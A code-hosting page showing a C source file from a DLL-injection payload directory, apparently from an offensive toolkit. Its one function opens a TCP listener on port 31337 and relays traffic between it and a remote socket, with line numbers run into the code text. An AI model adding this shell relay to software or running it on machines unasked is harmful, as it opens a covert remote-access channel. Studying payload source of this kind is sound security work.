Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/dllinject/shell.c
Views: 11766
1VOID read_shell(SOCKET remote)2{3SOCKET srv, local = 0, from, to, high;4struct sockaddr_in s;5CHAR buf[8192];6int on = 1, bytes;7fd_set fdread;8struct timeval tv;9char passphrase[9];101112fflush(stdout);131415do16{17if ((srv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)18{19printf("socket\n");20break;21}2223s.sin_family = AF_INET;24s.sin_port = htons(31337);25s.sin_addr.s_addr = INADDR_ANY;2627setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));2829if (bind(srv, (struct sockaddr *)&s, sizeof(s)) < 0)30{31printf("bind\n");32break;33}3435if (listen(srv, 1) < 0)36{37printf("listen\n");38break;39}4041local = accept(srv, NULL, NULL);4243} while (0);4445high = local;4647if (remote > high)48high = remote;4950printf("[*] Forwarding local=%d<->remote=%d...\n", local, remote);5152while ((local) && (remote))53{54FD_ZERO(&fdread);55FD_SET(local, &fdread);56FD_SET(remote, &fdread);5758tv.tv_sec = 1;59tv.tv_usec = 0;6061if (select(high + 1, &fdread, NULL, NULL, &tv) < 0)62break;6364if (FD_ISSET(remote, &fdread))65{66from = remote;67to = local;68}69else70{71from = local;72to = remote;73}7475ioctlsocket(from, FIONREAD, &bytes);7677if ((bytes = recv(from, buf, sizeof(buf), 0)) <= 0)78break;7980if (send(to, buf, bytes, 0) < 0)81{82printf("send failed, %lu\n", GetLastError());83break;84}85}8687printf("[*] Finished\n");88}899091